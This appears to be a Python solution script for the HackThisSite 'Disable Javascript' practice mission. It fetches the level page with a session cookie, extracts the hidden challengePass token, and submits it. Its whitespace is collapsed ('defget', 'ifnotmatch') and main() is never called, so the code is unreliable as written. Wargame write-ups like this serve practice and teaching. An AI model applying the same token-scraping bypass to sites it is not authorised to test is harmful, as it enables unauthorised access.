#!/usr/bin/env python3 """HackThisSite JavaScript 2 ("Disable Javascript"). The level page only runs `window.location = ".../2/fail.php"`; the win link is hidden in the same HTML. index.php regenerates the challengePass token on every load, so fetch and submit must happen back to back in one session: usage: HTS_COOKIE=<live-cookie> ./solve.py """ import os import re import sys import urllib.parse import urllib.request
BASE = "https://www.hackthissite.org/missions/javascript/2/" COOKIE = os.environ.get("HTS_COOKIE", "<mission-cookie>")
defget(url, referer): req = urllib.request.Request(url) req.add_header("Cookie", "HackThisSite=" + COOKIE) req.add_header("Referer", referer) with urllib.request.urlopen(req) as rsp: return rsp.read().decode("latin-1")
defmain(): page = get(BASE, BASE) match = re.search(r'challengePass=([^"&]+)', page) ifnotmatch: sys.exit("no challengePass token in page") token = match.group(1) print("token:", token) win_url = BASE + "index.php?" + urllib.parse.urlencode({"challengePass": token}) body = get(win_url, BASE) print("submitted:", win_url) print(body[:200])